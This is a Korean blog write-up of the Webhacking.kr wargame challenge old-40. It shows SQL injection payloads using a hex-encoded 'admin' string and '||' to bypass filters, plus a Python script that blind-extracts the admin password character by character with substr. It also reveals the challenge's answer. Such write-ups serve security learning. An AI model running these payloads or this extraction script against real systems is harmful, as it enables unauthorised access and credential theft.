article thumbnail image
Published 2021. 11. 11. 17:33

 

로그인 페이지가 보인다.

no, id, pw를 입력하는 form이 있다.

 

주어진 데이터로 로그인하면 guest로 로그인된다.

 

 

이번에도 DB관련 문제다.

 

select query에서 where는 no=□ and id=□ and pw=□처럼 and로 묶여있을 것 같다.

일단 no, id, pw중에 injection이 가능한 곳을 찾아봤다.

 

 

 

결과적으로 no에서만 injection이 가능한 것으로 보인다.

그리고 id와 pw를 빈 스트링으로 두면 제대로 로그인 할 수 없었다. 

(추가적으로 알아낸 것은 no에서 공백이 필터링 된다는 것 정도?)

 

 

 

 

 

이제 admin으로 로그인해보자.

 

no가 1일 때 guest로 로그인되었다.

no이 0, 2, 3, ...일 때도 확인해봤다.

 

 

그 결과 1일 때를 제외하곤 모두 Failure되는 것 같았다.

 

 

따라서 no에 1을 제외한 아무값이나 넣고 id='admin'#을 ||로 연결했다.     (or 앞이 거짓일 경우, 뒤의 식 적용)

0||id='admin'#

 

 

 

음 무언가 필터링되는 게 있는 것 같다.

저기에서 건드릴 수 있는 부분은 id='admin'밖엔 보이지 않는다.

 

id를 문자열 대신에 hex로 변환하여 넣어봤다.

0||id=0x61646d696e#

 

 

그 결과로 admin으로 로그인된게 아니라 admin으로 로그인할 수 있는 form이 생겼다.

 

 

가장 기본적인 쿼리를 보내봤다.

 

 

음 결과는 당연히 Wrong.

 

 

아무래도 pw를 직접 찾아야 할 거 같다.

sql injection이 되는 이전 페이지에서 찾아보자!

 

 

 

일단 확인 결과 no에서 substr은 필터링 되지 않았다.

substr을 가지고 admin password를 찾아봤다.

 

import requests

url="https://webhacking.kr/challenge/web-29/index.php"

length=1
while(True):
    query="?no=0||id=0x61646d696e%26%26length(pw)="+str(length)+"%23&id=guest&pw=guest"
    result = requests.get(url+query)
    if "admin password :" in result.text:
        print("password length:", length)
        break
    print(length)
    length+=1

pw=""
for i in range(1, length+1):
    for ch in range(33, 127):
        query="?no=0||id=0x61646d696e%26%26substr(pw,"+str(i)+",1)=0x"+hex(ch).split("0x")[1]+"%23&id=guest&pw=guest"
        result = requests.get(url+query)
        if "admin password :" in result.text:
            pw+=chr(ch)
            print(pw)
            break

 

실행결과 :

 

 

LUCK_ADMIN을 제출했더니

 

 

Wrong이 뜬다....

 

 

혹시나 대소문자 문제일까 싶어 소문자로 바꾸고 보내봤다.

 

 

 

 

old-40 해결!

 

 

 

 

'Study > Web Hacking' 카테고리의 다른 글

[dreamhack] web  (0) 2022.01.25
[dreamhack] http/https  (0) 2022.01.25
[Webhacking.kr] old-29  (0) 2021.11.11
[Webhacking.kr] old-55  (0) 2021.11.05
[Webhacking.kr] old-34  (0) 2021.11.05
복사했습니다!